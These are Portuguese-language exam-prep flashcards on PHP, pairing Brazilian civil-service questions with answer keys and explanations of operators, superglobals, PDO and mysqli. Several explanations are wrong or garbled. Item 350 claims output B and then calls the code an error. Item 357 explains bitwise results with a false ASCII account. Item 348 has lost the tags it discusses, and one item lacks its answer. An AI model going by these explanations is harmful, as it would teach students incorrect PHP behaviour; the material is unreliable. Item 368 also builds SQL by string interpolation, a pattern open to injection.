A linguagem PHP suporta o uso de operadores lógicos capazes de diversas comparações lógicas. O operador && considera que uma comparação será verdadeira se um ou ambos os argumentos forem verdadeiros.

A

O gabarito está incorreto. O operador lógico &&, também conhecido como “E lógico” ou “AND lógico”, considera que uma comparação será verdadeira somente se ambos os argumentos forem verdadeiros.

Se pelo menos um dos argumentos for falso, o resultado da expressão será falso.

Gabarito: Errado

344
Q
  1. (CEBRASPE / TJ AM- 2019) No que se refere à linguagem PHP, julgue o item subsecutivo.

Após a configuração de um servidor Apache com módulo PHP, uma forma de validar o seu funcionamento é criar uma página HTML e inserir a função phpinfo(), que mostra informações a respeito da configuração do PHP no servidor Apache.

A

Após configurar um servidor Apache com o módulo PHP, uma maneira comum de validar se o PHP está funcionando corretamente é criar uma página HTML e inserir a função phpinfo().

Quando essa página é acessada pelo navegador, ela exibe informações detalhadas sobre a configuração do PHP no servidor Apache, incluindo versão do PHP, configurações do servidor,
módulos carregados, configurações do ambiente, entre outras informações úteis.

Portanto, ao acessar essa página, o usuário pode verificar se o PHP está corretamente configurado e funcionando como esperado. Assim, o item está correto.

Gabarito: Correto

345
Q
  1. (CEBRASPE / EBSERH- 2018) Julgue o item que se segue a respeito das características da linguagem PHP e de compiladores.

Na linguagem PHP, o comando explode() permite descarregar os buffers de saída de qualquer backend que o PHP esteja usando, como, por exemplo, um CGI ou um servidor web.

A

O comando explode() em PHP é usado para dividir uma string em um array de strings, com base em um delimitador especificado.

Ele não está relacionado à descarga de buffers de saída de
qualquer backend que o PHP esteja usando.

Para descarregar os buffers de saída em PHP, geralmente são utilizadas funções como flush() e ob_flush(), que são responsáveis por enviar qualquer dado armazenado em buffers de saída para
o cliente (navegador) imediatamente.

Portanto, o item está incorreto. O comando explode() não
está relacionado à descarga de buffers de saída.

Gabarito: Errado

346
Q
  1. (CEBRASPE / EBSERH- 2018) Acerca de programação orientada a objetos, Java e PHP, julgue o item a seguir.

Em PHP, a diretiva display_errors, incluída no arquivo php.ini, determinará a realização de registros de log dos erros que ocorrerem na execução do código e sua gravação em um
arquivo definido pela diretiva error_log.

A

A afirmativa está incorreta.

A diretiva display_errors no arquivo php.ini controla se os erros serão exibidos diretamente na saída padrão, como em uma página da web ou no console. Ela não está relacionada ao registro de logs, mas apenas à exibição de erros durante a execução do código PHP.

Por outro lado, o registro de erros em um arquivo de log é controlado por outra diretiva: log_errors. Quando log_errors está ativada, os erros serão registrados em um arquivo especificado pela diretiva error_log.

Aqui está o papel de cada uma dessas diretivas:
- display_errors: Controla se os erros serão exibidos na saída padrão (como no navegador). O valor padrão é Off em ambientes de produção para evitar a exposição de informações sensíveis.
- log_errors: Controla se os erros serão registrados em um arquivo de log.
- error_log: Define o caminho do arquivo onde os erros serão registrados, se log_errors estiver ativada.

Portanto, a afirmativa confunde a funcionalidade das diretivas e está incorreta. A exibição de erros e o registro em logs são controlados por diretivas diferentes.

Gabarito: Errado

347
Q
  1. (CEBRASPE / STM- 2018) Em relação aos fundamentos de PHP 5, julgue o item a seguir.

O comando INCLUDE interromperá a execução do script assim que ocorrer um erro, enquanto o comando REQUIRE continuará a executar o código após o erro.

A

A afirmativa está incorreta.

Na linguagem PHP, a diferença entre include e require está no comportamento em caso de erro ao tentar incluir um arquivo:

  • include: Se o arquivo especificado não puder ser encontrado ou não puder ser incluído, o PHP emitirá um aviso (warning), mas a execução do script continuará. Isso significa que o código após o comando include será executado.
  • require: Se o arquivo especificado não puder ser encontrado ou não puder ser incluído, o PHP emitirá um erro fatal (fatal error), e a execução do script será interrompida. Ou seja, o código após o comando require não será executado.

Portanto, a correta descrição é que o require interrompe a execução do script em caso de erro, enquanto o include permite que a execução continue. Assim, a afirmativa apresentada está incorreta.

Gabarito: Errado

348
Q
  1. (CEBRASPE / STM- 2018) Em relação aos fundamentos de PHP 5, julgue o item a seguir.

Em PHP, o código deve ser escrito entre as tags <script type=”php”> e </script>.

A

Pessoal, na verdade, o código PHP é delimitado pelas tags <?php e ?>, e não pelas tags

 e 
.

As tags

 e 
são usadas para código
JavaScript e não para código PHP.

Portanto, a afirmação correta seria: “Em PHP, o código deve
ser escrito entre as tags <?php e ?>.”

Assim, o gabarito está errado.

Gabarito: Errado

349
Q
  1. (CEBRASPE / STM- 2018) Em relação aos fundamentos de PHP 5, julgue o item a seguir.

O comando a seguir concatena corretamente caracteres em PHP. $final = “abc” . “efg”;

A

No código fornecido, o comando . é o operador de concatenação em PHP.

Ele é usado para concatenar duas ou mais strings em uma única string.

No caso apresentado, a expressão “abc” . “efg” concatena as strings “abc” e “efg”, resultando na string “abcefg”.

O resultado da concatenação é armazenado na variável $final.

Portanto, o comando $final = “abc” . “efg”; concatena corretamente caracteres em PHP.

Gabarito: Correto

350
Q
  1. (CEBRASPE / STM- 2018) Julgue o item subsecutivo, a respeito das camadas de persistência.

O resultado da execução do script PHP a seguir é B.

<?php
class A {
public function _call($f, $arg) {
return static::who();
}
static function who () {
print __CLASS__;
}
}
class B extends A {
static function who() {
print __CLASS__;
}
}
$b = new B();
$b->teste();
?>

A

A afirmativa está incorreta. Vamos analisar o código PHP apresentado:

  1. Classe A:
    • A classe A possui um método mágico chamado _call, que é chamado quando um método não existente é acessado. Esse método chama static::who(), que resolve a chamada para o método estático da classe que está sendo referenciada em tempo de execução, ou seja, a classe da instância atual (que é B no caso).
  2. Classe B:
    • A classe B estende A e implementa seu próprio método estático who(). Quando static::who() é chamado a partir de uma instância da classe B, ele chama B::who() devido ao comportamento de vinculação estática.
  3. Chamada do Método:
    • Quando o código executa $b->teste();, o método teste() não existe na classe B, então o PHP chama o método mágico _call() da classe A.
    • Dentro do método _call(), a linha return static::who(); executa o método who() da classe B, imprimindo B.

Portanto, a saída do script é realmente B. No entanto, o código apresentado não possui um método chamado teste(), o que resultaria em um erro fatal ao tentar chamar um método que não existe.

Se o código fosse alterado para usar $b->_call('teste', null);, o resultado seria B. Como está, a execução do script resultaria em um erro, e a afirmativa está, portanto, incorreta na forma que foi apresentada.

Gabarito: Errado

351
Q
  1. (CEBRASPE / EBSERH- 2018) Julgue o item que se segue a respeito das características da linguagem PHP e de compiladores.

PHP consiste de uma linguagem compilada para código nativo e gera um bytecode que é interpretado por uma máquina virtual implantada em cada cliente onde o código será executado.

A

O PHP conforme vimos é uma linguagem interpretada e não uma linguagem compilada. PHP é uma linguagem de script do lado do servidor que é interpretada em tempo de execução, em vez
de ser compilada para código nativo antes da execução.

O PHP é focado principalmente nos scripts do lado do servidor, portanto, você pode fazer qualquer coisa que outro programa de
interface de aplicativos externos pode fazer, como coletar dados de formulários, gerar páginas com conteúdo dinâmico ou enviar e receber cookies.

Mas o PHP pode fazer muito mais.

Gabarito: Errado

352
Q
  1. (CEBRASPE / TCE-MG- 2018)

Considerando o código precedente, assinale a opção que apresenta o resultado final da execução desse código em um navegador.

a) O valor 1
b) O valor 12
c) O valor 1234
d) O valor 123456789012345678901234567890
e) O valor

A

O código PHP decodifica uma string JSON {“valor”: 123456789012345678901234567890).

Nota-se um erro no JSON, pois falta uma aspa dupla no final do número, mas assumindo que seja um erro de digitação na questão e que o JSON correto seja {“valor”:
123456789012345678901234567890}, o valor é corretamente decodificado para um objeto PHP.

O valor decodificado, que é um número extremamente grande, é atribuído à variável PHP $valor.

O valor é passado para uma variável JavaScript numero. Devido à forma como o PHP e o JavaScript lidam com números grandes, o número pode ser transformado em notação científica ou perder precisão.

No entanto, o foco aqui está na operação subsequente.

A linha numero= numero/10E27; efetivamente divide o número por 10 elevado a 27. Isso reduz o valor original para algo manejável pelo JavaScript e pelo espaço de número do PHP que está sendo impresso diretamente no código JavaScript.

A divisão e a conversão em um número inteiro (usando parseInt(numero)) deveriam resultar em “12”, que é o valor que será exibido dentro da tag <span> com id destino.</span>

O script JavaScript atualiza o conteúdo da tag <span> para o valor calculado, que é “12”.</span>

Gabarito: Letra B

353
Q
  1. (CEBRASPE / EBSERH- 2018) Julgue o item que se segue a respeito das características da
    linguagem PHP e de compiladores.

O código PHP

<?php
$txt ‘Viva’;
print “ $txt a vida \n”;
print ‘ $txt a vida ‘;
?>

apresenta o resultado a seguir.

Viva a vida
$txt a vida

A

O item está correto. Vamos analisar o código PHP e o resultado apresentado:

<?php
$txt = ‘Viva’;
print “ $txt a vida \n”;
print ‘ $txt a vida ‘;
?>

Primeira linha de saída (print “ $txt a vida \n”;):
Utilizando aspas duplas “, o PHP interpreta variáveis dentro da string.

Portanto, o valor da variável $txt (que é “Viva”) é incorporado à string resultante.

O \n é um caractere de nova linha. No entanto, em um contexto HTML (como quando você
visualiza o resultado em um navegador), este caractere de nova linha não cria uma nova linha
visível; ele seria mais relevante em um contexto de console ou arquivo de texto. Portanto, a saída visível é “Viva a vida”.

Segunda linha de saída (print ‘ $txt a vida ‘;):
Utilizando aspas simples ‘, o PHP trata o conteúdo literalmente, sem interpretar a variável $txt.

Assim, a saída é literalmente o texto $txt a vida.

Gabarito: Correto

354
Q
  1. (CEBRASPE / ABIN- 2018) Acerca de PHP e SOA (service oriented architecture), julgue o item a seguir.

Se uma aplicação é executada em um servidor web Apache usando a linguagem PHP na
versão 4.X, então ela deve ter a configuração register_globals=off para diminuir riscos de
segurança relacionados a essa versão e também evitar que os desenvolvedores escrevam códigos inseguros.

A

Na versão 4.X do PHP, a diretiva register_globals era uma configuração crítica para a segurança.

Quando ativada (register_globals=on), ela permitia que variáveis de requisições (GET, POST, COOKIE) fossem registradas como variáveis globais, o que apresentava um risco de segurança significativo, pois facilitava a injeção de variáveis maliciosas no script.

Portanto, definir register_globals=off era uma prática recomendada para melhorar a segurança, evitando a exposição a esses riscos e incentivando os desenvolvedores a adotarem práticas de programação mais seguras, acessando esses dados através dos arrays superglobais ($_GET, $_POST, $_COOKIE, etc.) de forma explícita.

Gabarito: Correto

355
Q
  1. (CESGRANRIO/ BASA- 2022) Considere o seguinte fragmento de código em PHP.

php
$var = 2;
function primeira(&$var) { $var++;}
function segunda($var) { $var++;}
function terceira() { $var++;}
echo $var;
primeira($var); echo $var;
segunda($var);echo $var;
terceira($var); echo $var;
?>

Qual será a saída gerada pelo fragmento de código acima?

a) 2222
b) 2234
c) 2333
d) 2334
e) 2344

A

Vamos analisar o código passo a passo para determinar a saída.

Inicialmente, a variável $var é definida como 2, e logo em seguida, o seu valor atual, que é 2, é exibido (echo $var;) como a primeira saída.

Posteriormente, quando a função primeira é invocada por referência, ela incrementa $var para 3 ({ $var++;}), o que é imediatamente refletido na segunda saída, demonstrando a mudança.

Por outro lado, embora a função segunda seja chamada por valor e incremente $var internamente, essa alteração não tem impacto na variável externa, mantendo a terceira saída em 3, uma vez que a mudança interna da função não afeta o escopo externo.

Além disso, a tentativa da função terceira de incrementar $var acaba sendo ineficaz, pois ela não só não recebeu nenhum argumento, mas também carece de acesso à variável externa devido a um erro de chamada, visto que foi definida sem parâmetros, resultando em uma quarta saída que ainda apresenta o valor 3.

Assim, a sequência de ações e seus respectivos efeitos sobre a variável $var ilustram como as diferentes formas de invocação de funções e o escopo das variáveis influenciam o comportamento do código.
Portanto, a saída do código é 2333, o que corresponde à opção (c).

Gabarito: Letra C

356
Q
  1. (CESGRANRIO/ BASA- 2021) O corredor com camisa de numeração 327 foi prejudicado
    durante uma competição pelos 10 corredores que chegaram logo a sua frente. A direção da
    corrida resolveu, então, desclassificar esses 10 corredores. Um programador designado para
    construir um programa que listasse somente os números das camisas desses corredores
    desclassificados chegou ao programa apresentado abaixo, que recebe como entrada o número de cada um dos competidores pela ordem de chegada, do primeiro ao último, e acha o competidor 327.

<?php
$fh = fopen(‘php://stdin’,’r’);
$array = array();
while ($array[] = fgets($fh));
fclose($fh);
for ($i=0;$array[$i]<>327;$i++);
// TODO: laço para imprimir os 10 anteriores
//
?>

No entanto, esse programa está incompleto porque apenas encontra o corredor 327.
Que instruções PHP devem ser colocadas, no lugar do comentário marcado com a palavra
TODO no programa apresentado, para que sejam impressas as numerações das camisas dos 10 competidores desclassificados?

a)
for ($j=0;$j<10;$j++) {
echo $array[$i–];
}

b)
for ($j=0;$j<=10;$j++) {
echo $array[–$i];
}

c)
for ($j=0;$j<10;$j++) {
echo $array[–$i];
}

d)
for ($j=1;$j<10;$j++) {
echo $array[–$i];
}
e)
for ($j=0;$j<10;$j++) {
echo $array[$i+$j];
}

A

Para imprimir os números das camisas dos 10 competidores desclassificados, que chegaram logo à frente do competidor com a camisa de numeração 327, é necessário iterar para trás a partir da posição onde o competidor 327 foi encontrado, sem incluí-lo.

Isso significa que devemos começar a impressão a partir do competidor imediatamente antes do 327 e continuar até
completar os 10 corredores.

A opção correta para realizar essa tarefa é:

for ($j=0;$j<10;$j++) {
echo $array[–$i];
}

Esta solução, indicada pela letra C, funciona da seguinte forma:

$i é a posição no array onde o competidor 327 foi encontrado.

–$i decrementa $i antes de usar seu valor, ou seja, começa a partir do competidor
imediatamente anterior ao 327.

O laço for se repete 10 vezes ($j<10), o que significa que ele imprimirá os números das camisas dos 10 competidores que chegaram imediatamente antes do competidor 327.

As outras opções falham por diferentes razões:

A opção A (echo $array[$i–];) também decrementa $i, mas o faz depois de acessar o valor, o que significa que na primeira iteração ele tentaria imprimir o competidor 327, que não é desejado.

A opção B (for ($j=0;$j<=10;$j++) {) tentaria imprimir 11 competidores devido à condição
$j<=10.

A opção D (for ($j=1;$j<10;$j++) {) imprimiria apenas 9 competidores, pois inicia a contagem de $j em 1 e vai até $j<10.

A opção E (echo $array[$i+$j];) tentaria acessar competidores que chegaram após o 327, o que
não é o objetivo da tarefa.

Gabarito: Letra C

357
Q
  1. (CESGRANRIO/ UNIRIO- 2019) Conhecer o uso de operadores em PHP pode significar a
    diferença entre programas que funcionam corretamente ou não.

Considere o seguinte trecho de código em PHP:

$A = 3;
$B = “2”;
echo $A+$B;
echo $B.$A;
echo $A|$B;
echo $A&$B;
echo “\n”;

Qual será a saída desse trecho de código?

a) 5623
b) 5632
c) 52323
d) 52332
e) 332323

A

Vamos entender cada echo.

$A + $B: Soma de um inteiro e uma string que é convertível em inteiro, resultando em 5.

$B . $A: Concatenação de strings, onde 3 é convertido em string e concatenado com “2”,
resultando em “23”.

$A | $B: OR bit a bit entre 3 e o valor ASCII de “2” (50), que, ao ser interpretado como texto, é
mostrado como o caractere que corresponde ao resultado (“3”, porque 3 | “2” resulta em 51,
que é o código ASCII para “3”).

$A & $B: AND bit a bit, que, dada a conversão de tipos e os valores envolvidos, resulta em um
caractere que, quando interpretado como texto, não segue a lógica simples de 2 como no
exemplo da explicação anterior, mas sim comporta-se de acordo com a representação binária dos valores envolvidos.

Assim, nosso gabarito é: 52332, Letra D.

Gabarito: Letra D

358
Q
  1. (CESGRANRIO/ BASA- 2018) O comando PHP que cria corretamente um vetor ou conjunto
    (array) associativo é:

a) $pessoa=array(‘‘Nome’’:’‘Ana’’,’‘Idade’’:’‘52’’, ‘‘Cidade’’:’‘Manaus’’);

b) $pessoa=array(‘‘Nome’’:=’‘Ana’’,’‘Idade’’:=’‘52’’, ‘‘Cidade’’:=’‘Manaus’’);

c) $pessoa=array(‘‘Nome’’=’‘Ana’’,’‘Idade’’=’‘52’’, ‘‘Cidade’’=’‘Manaus’’);

d) $pessoa=array(‘‘Nome’’=>’‘Ana’’,’‘Idade’’=>’‘52’’, ‘‘Cidade’’=>’‘Manaus’’);

e) $pessoa=array(‘‘Nome’’->’‘Ana’’,’‘Idade’’->’‘52’’, ‘‘Cidade’’->’‘Manaus’’);

A

Nessa questão precisamos saber a sintaxe correta para a criação de um array associativo em PHP utiliza => para associar chaves a valores dentro do array. Portanto, a opção correta é:

d) $pessoa=array(‘Nome’=>’Ana’,’Idade’=>’52’, ‘Cidade’=>’Manaus’);

Vamos fazer uma revisão? Arrays associativos no PHP são estruturas de dados que mapeiam
chaves a valores.

Ao contrário dos arrays indexados numericamente, onde os índices são números inteiros, os índices dos arrays associativos são strings ou números que você define
explicitamente.

Para definir um array associativo, você utiliza a sintaxe chave => valor dentro da função array().

As aspas simples (‘) são usadas para delimitar strings, tanto para as chaves quanto para os valores dentro do array.

A opção D utiliza corretamente o operador => para associar cada chave ao seu valor
correspondente, seguindo a sintaxe válida de PHP para definição de arrays associativos.

As
demais opções falham na utilização correta dessa sintaxe:

A opção A tenta usar dois pontos (:) em vez de =>, o que não é válido em PHP para arrays.

A opção B emprega uma sintaxe :=, que não é reconhecida pelo PHP.

A opção C usa igual (=) para tentar definir os pares chave-valor, o que também é inválido.

A opção E tenta usar uma seta (->), que é a sintaxe para acessar propriedades de objetos, não para definir pares chave-valor em arrays.

Portanto, a única opção que corretamente cria um array associativo em PHP é a D.

Gabarito: Letra D

359
Q
  1. (FCC/ TCE-GO- 2022) Considere o bloco de código PHP abaixo.

<?php
$a = 122;
$b = “TCE-GO”;
echo “Concurso “ . $a + 3;
?>

Ao executar o código em um ambiente PHP em condições ideais será exibido na página
somente:

a) uma mensagem de erro
b) 3
c) Concurso 125
d) 125
e) Concurso 1223

A

Ao analisar o código PHP:

```php
<?php
$a = 122;
$b = “TCE-GO”;
echo “Concurso “ . $a + 3;
?>
~~~

A expressão echo "Concurso " . $a + 3; realiza uma operação de concatenação e soma. O operador . é utilizado para concatenar strings em PHP. Entretanto, a precedência dos operadores entra em jogo aqui.

  1. O PHP avalia echo "Concurso " . $a + 3; da seguinte forma:
    • Primeiro, realiza a concatenação de "Concurso " com $a, que resulta na string "Concurso 122".
    • Após a concatenação, o PHP tenta somar 3 ao resultado da string, o que pode gerar comportamento inesperado.

Em PHP, quando você tenta somar um número a uma string, ele interpreta a string até onde consegue entender como um número. Nesse caso, a string começa com “Concurso”, que não pode ser interpretada como um número. Como resultado, PHP retorna um warning e considera o valor numérico inicial da string como 0, somando 3 a ele.

Portanto, o código exibirá:

  • 3, após o PHP gerar um warning.

A resposta correta é a letra b) 3.

Gabarito: Letra B

360
Q
  1. (FCC/ TJ CE- 2022) Considere o trecho de código PHP abaixo.

<?php
$servername = “localhost”;
$database = “dbname”;
$username = “username”;
$password = “password”;
$conn = I ($servername, $username, $password, $database);
if (!$conn) {
die(“Conexão falhou. Erro: “ . II );
}
echo “Conexão bem-sucedida.”;
III ($conn);
?>

Para fazer a conexão com o banco de dados MySQL de forma bem-sucedida, em condições
ideais, as lacunas I, II e III devem ser, correta e respectivamente, preenchidas com

a) mysql_connect − mysql_error() − mysql_close

b) connect_mysql − error_mysql() − close_mysql

c) pdo_connect − pdo_connect_error() − pdo_close

d) connect_mysqli − error_mysqli() − close_mysqli

e) mysqli_connect − mysqli_connect_error() − mysqli_close

A

No código fornecido, o objetivo é conectar-se a um banco de dados MySQL usando PHP. Para isso, vamos analisar cada lacuna com base nas funções corretas.

O código PHP correto para conectar-se a um banco de dados MySQL deve usar a extensão MySQLi, que é a interface mais atual e recomendada para interagir com o MySQL. A sintaxe correta para essa conexão e manipulação inclui as funções:

  1. mysqli_connect: É a função usada para abrir uma conexão com o MySQL.
  2. mysqli_connect_error: É a função usada para retornar o erro da conexão, caso haja algum problema.
  3. mysqli_close: É a função usada para fechar a conexão com o banco de dados.

Analisando as lacunas no código:

```php
$servername = “localhost”;
$database = “dbname”;
$username = “username”;
$password = “password”;

$conn = I ($servername, $username, $password, $database); // I = mysqli_connect
if (!$conn) {
die(“Conexão falhou. Erro: “ . II ); // II = mysqli_connect_error()
}
echo “Conexão bem-sucedida.”;
III ($conn); // III = mysqli_close
~~~

Assim, as lacunas são preenchidas da seguinte forma:
- I = mysqli_connect
- II = mysqli_connect_error()
- III = mysqli_close

Portanto, a resposta correta é a letra e) mysqli_connect − mysqli_connect_error() − mysqli_close.

Gabarito: Letra E

361
Q
  1. (FCC/ PGE AM- 2022) Considere o bloco PHP abaixo.

Caso o segundo parâmetro passado para o método divide seja 0 ao invés de 10, ocorrerá
uma exceção. Para tratar adequadamente esta exceção a chamada ao método realizada pelo
comando echo divide(5, 10); deverá mudar para

a) try {echo divide(5,0);} catch(DivisionByZeroException $e) {echo “Impossível dividir.”;}

b) try {divide(5,0);} catch(DivisionException $e) {echo “Impossível dividir.”;}

c) try {echo divide(5,0);} catch(Exception $e) {finally echo “Impossível dividir.”;}

d) try {echo divide(5,0);} catch(Exception $e) {echo “Impossível dividir.”;}

e) try {divide(5,0);} catch(Exception $e) {printf “Impossível dividir.”;}

A

Para tratar adequadamente a exceção gerada pela tentativa de dividir por zero, é necessário
envolver a chamada ao método divide(5, 0) em um bloco try-catch.

O bloco try é onde o código potencialmente problemático é colocado, e o bloco catch é onde a exceção é tratada caso ocorra.

Portanto, a forma correta de tratar a exceção é a opção D:

try {
echo divide(5, 0);
} catch(Exception $e) {
echo “Impossível dividir.”;
}

Essa estrutura tentará executar o código dentro do bloco try e, se uma exceção for lançada, o
código dentro do bloco catch será executado para lidar com ela.

Gabarito: Letra D

362
Q
  1. (FCC/ DETRAN AP- 2022) Considere a seguinte função PHP:

crypt(string $str, string $salt = ?): string

Considere que str é a string a ser encriptada e salt é uma string opcional que define a base
hash da encriptação. Se não fornecida, essa base será sempre

a) CRYPT_STD_DES - Codificação Standard DES-based com um salt de 2 caracteres.

b) CRYPT_EXT_DES - Codificação Extended DES-based com um salt de 9 caracteres.

c) CRYPT_MD5 - Codificação MD5 com um salt de 12 caracteres começando com %1$.

d) CRYPT_BLOWFISH - Codificação Blowfish com um salt de 16 caracteres começando com $2%.

e) gerada randomicamente pelo PHP cada vez que chamar esta função.

A

A função crypt em PHP é usada para criar uma hash de uma string.

Se um salt não for fornecido como argumento, o PHP gera um salt randomicamente cada vez que a função é chamada.

Portanto, a opção correta é a letra E.

Gabarito: Letra E

363
Q
  1. (FCC/ DETRAN AP- 2022) As variáveis predefinidas em PHP, chamadas de “superglobais”, podem ser acessadas a partir de qualquer função, classe ou arquivo. Dentre estas variáveis está a

a) $_ENV, que envia dados do servidor para páginas HTML.

b) $_SESSION, que cria uma seção ou contêiner onde será executado código PHP.

c) $_REQUEST, que é utilizada para enviar dados para formulários HTML.

d) $GLOBALS, que é utilizada para acessar informações do servidor.

e) $_SERVER[‘SERVER_ADDR’], que retorna o endereço IP do servidor.

A

A variável $_SERVER[‘SERVER_ADDR’] é uma das superglobais em PHP e retorna o endereço IP
do servidor. Portanto, a opção correta é a letra E.

É uma matriz associativa que inclui informações
como nome do script atual, diretórios, endereços IP do cliente, entre outros.

Essa superglobal é comumente utilizada para acessar informações do servidor web e do ambiente de execução do PHP.

Revisão rápida das variáveis superglobais, vamos?

● $_SERVER: Uma matriz contendo informações como cabeçalhos, caminhos e locais de script. As entradas nessa matriz são criadas pelo servidor web.

● $_REQUEST: Uma matriz que contém variáveis passadas para o script via HTTP Request.
Isso inclui variáveis $_GET, $_POST e $_COOKIE.

● $_POST: Uma matriz associativa de variáveis passadas para o script atual via método HTTP
POST quando usado com formulários HTML.

● $_GET: Uma matriz associativa de variáveis passadas para o script atual via parâmetros de
consulta no URL.

● $_FILES: Uma matriz associativa de itens enviados para o script atual via método HTTP
POST com o atributo enctype=”multipart/form-data” em um formulário HTML.

● $_COOKIE: Uma matriz associativa de variáveis passadas para o script atual via cookies HTTP.

● $_SESSION: Uma matriz associativa contendo variáveis de sessão disponíveis para o script
atual.

● $_ENV: Uma matriz associativa contendo variáveis de ambiente disponíveis para o script
atual.

Gabarito: Letra E

364
Q
  1. (FCC/ PGE AM- 2022) A variáveis predefinidas em PHP, chamadas super globais, estão sempre acessíveis, independentemente do escopo.

Considere o exemplo abaixo.

As variáveis predefinidas que podem ser utilizadas corretamente nas lacunas I, II e III são, respectivamente,

a) $_POST, $_SERVER e $_GLOBALS
b) $_SEND, $_HTTP e $_REQUEST
c) $_SERVER, $_SERVER e $_POST
d) $_SERVER, $_SERVER e $_GLOBALS
e) $_SUBMIT, $_HTTP e $_POST

A

Para a lacuna I, deve-se usar $_SERVER[‘PHP_SELF’].

Esta variável contém o nome do arquivo do
script que está sendo executado.

Isso é necessário para definir o atributo action do formulário HTML para garantir que os dados do formulário sejam enviados de volta para o próprio script PHP.

Para a lacuna II, deve-se usar $_SERVER. Esta superglobal é usada para acessar informações
sobre a solicitação HTTP, e $_SERVER[‘REQUEST_METHOD’] retorna o método de requisição HTTP utilizado para acessar a página atual.

No contexto do código apresentado, queremos
verificar se o método de requisição é POST para processar os dados do formulário submetido.

Para a lacuna III, deve-se usar $_POST. Esta superglobal contém os dados enviados para o script via método POST, ou seja, os dados do formulário HTML são acessados através desta
superglobal após a submissão do formulário.

Gabarito: Letra C

365
Q
  1. (FCC/ TJ SC- 2021) Considere o método abaixo, em uma classe PHP chamada Cliente.

public function setNome($Nome) {
$this->Nome = $Nome;
}

A partir de outra classe, um objeto na classe Cliente foi instanciado por meio da instrução $cli = new Cliente;.

Para chamar o método acima e passar o nome ‘Paulo’ como parâmetro, utiliza-se a instrução

a) $cli::setNome(‘Paulo’);
b) $cli->setNome(‘Paulo’);
c) $cli.nome(‘Paulo’);
d) $cli->send.setNome(‘Paulo’);
e) $cli.setNome(‘Paulo’);

A

No contexto de PHP orientado a objetos, ao instanciar um objeto de uma classe e chamar um método público, a sintaxe correta é usar o operador -> para acessar métodos ou propriedades do objeto.

O código da questão envolve o seguinte método da classe Cliente:

```php
public function setNome($Nome) {
$this->Nome = $Nome;
}
~~~

Após instanciar a classe Cliente com:

```php
$cli = new Cliente;
~~~

Para chamar o método setNome e passar o parâmetro 'Paulo', a sintaxe correta é:

```php
$cli->setNome(‘Paulo’);
~~~

  • a) $cli::setNome(‘Paulo’);: Incorreto. O operador :: é usado para acessar métodos ou propriedades estáticos, o que não é o caso aqui.
  • b) $cli->setNome(‘Paulo’);: Correto. O operador -> é usado para acessar métodos não estáticos de um objeto.
  • c) $cli.nome(‘Paulo’);: Incorreto. A sintaxe de ponto (.) não é usada para acessar métodos em PHP.
  • d) $cli->send.setNome(‘Paulo’);: Incorreto. Essa sintaxe é inválida em PHP.
  • e) $cli.setNome(‘Paulo’);: Incorreto. A sintaxe com ponto também é inválida em PHP.

Portanto, a resposta correta é b) $cli->setNome(‘Paulo’);.

366
Q
  1. (FCC/ ALAP- 2020) Considere a função abaixo, existente em uma classe PHP de acesso a dados:

public function localizar($Usuario) {
try {
$c = new PDO(“mysql:host=localhost;dbname=dados”, “root”, “”);
$c->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

 $st = $c->prepare("SELECT * FROM Colaborador WHERE user=? AND password=?");
 ...I... ;
/*restante do código aqui */    } catch (PDOException $ex) { return null;   } }

Considerando que $Usuario é um objeto da classe Usuario, que possui os atributos User e
Password e os respectivos métodos getter e setter, para executar a instrução SQL INSERT, a
lacuna I acima deve ser preenchida corretamente com:

a) $st->execute([$Usuario->User, $Usuario->Password])

b) $st->exec([$Usuario.getUser(),$Usuario.getPassword()])

c) $c->execute([$st -> getUser($Usuario), $st -> getPassword($Usuario))

d) $st->exec([$Usuario->getUser(),$Usuario ->getPassword()])

e) $c->$st->execute([$Usuario(User), $Usuario(Password)])

A

Para executar a instrução SQL INSERT corretamente dentro do método localizar, preenchendo a lacuna I com a opção correta, considerando que $Usuario é um objeto da classe Usuario, que possui os atributos User e Password, e os métodos getter correspondentes, a instrução correta
seria:

a) $st->execute([$Usuario->User, $Usuario->Password])

A função execute é usada para executar uma declaração preparada (prepared statement) no
banco de dados.

Os valores dos parâmetros para a declaração preparada devem ser passados como um array para a função execute.

Neste caso, os valores para os parâmetros user e password são os valores dos atributos User e Password do objeto $Usuario, respectivamente.

Portanto, a opção correta é a letra A.

Gabarito: Letra A

367
Q
  1. (FCC/ Pref Manaus- 2019) Considere o fragmento de código abaixo, que é parte de uma página construída em um ambiente PHP ideal, com todos os recursos disponíveis.

$servername = “localhost”;
$username = “semef”;
$password = “1b3Z”;
$dbname = “tributario”;
try {
$conn = new PDO(“mysql:host=$servername;dbname=$dbname”, $username, $password);
$conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$sql = “UPDATE Contribuinte SET nome=’Paulo’ WHERE id=1”;
..I..
echo “Operação realizada com sucesso”;
}
catch(PDOException $e)
{
echo $sql . “<br></br>” . $e->getMessage();
}
$conn = null;

Considerando o uso de PHP Data Objects, para que o comando UPDATE seja executado
corretamente a lacuna I deve ser preenchida com

a) mysqli_query($conn, $sql);

b) $conn.execute($sql);

c) $st = $conn.prepare($sql);
$st.exec();

d) $conn->query($sql);

e) $st = $conn->prepare($sql);
$st->execute();

A

Para que o comando UPDATE seja executado corretamente usando PHP Data Objects (PDO), a lacuna I deve ser preenchida com a opção correta que prepara e executa a declaração SQL.

A forma correta de fazer isso é utilizando os métodos prepare e execute do objeto PDOStatement.

Portanto, a opção correta é:

e) $st = $conn->prepare($sql); $st->execute();

O método prepare prepara a declaração SQL para execução e retorna um objeto PDOStatement.

Já, o método execute executa a declaração SQL preparada.

Portanto, para que o comando UPDATE seja executado corretamente, a lacuna I deve ser preenchida com a opção correta da letra E.

Gabarito: Letra E

368
Q
  1. (FCC/ TJ MA- 2019) Considere a função abaixo existente em uma classe PHP em condições ideais.

public function inserir($User) {
try {
$conn = new PDO(“mysql:host=localhost;dbname=dados”, “root”, “”);
$conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$sql = “INSERT INTO Usuarios(nome, usuario, senha) VALUES (‘$User->Nome’,
‘ $User->Usuario’,’$User->Senha’)”;
..I..;
return 1;
} catch (PDOException $e) {
return $e->getCode();
}
}

Para que a instrução INSERT seja executada corretamente, a indicação I deve ser substituída por:

a) $conn->exec($sql)
b) $stmt = $conn->fetch($sql)
c) $conn.exec($sql)
d) $conn->fetchExec($sql)
e) $stmt = $conn.createStatement($sql)

A

Para que a instrução INSERT seja executada corretamente, a indicação I deve ser substituída por:

a) $conn->exec($sql)

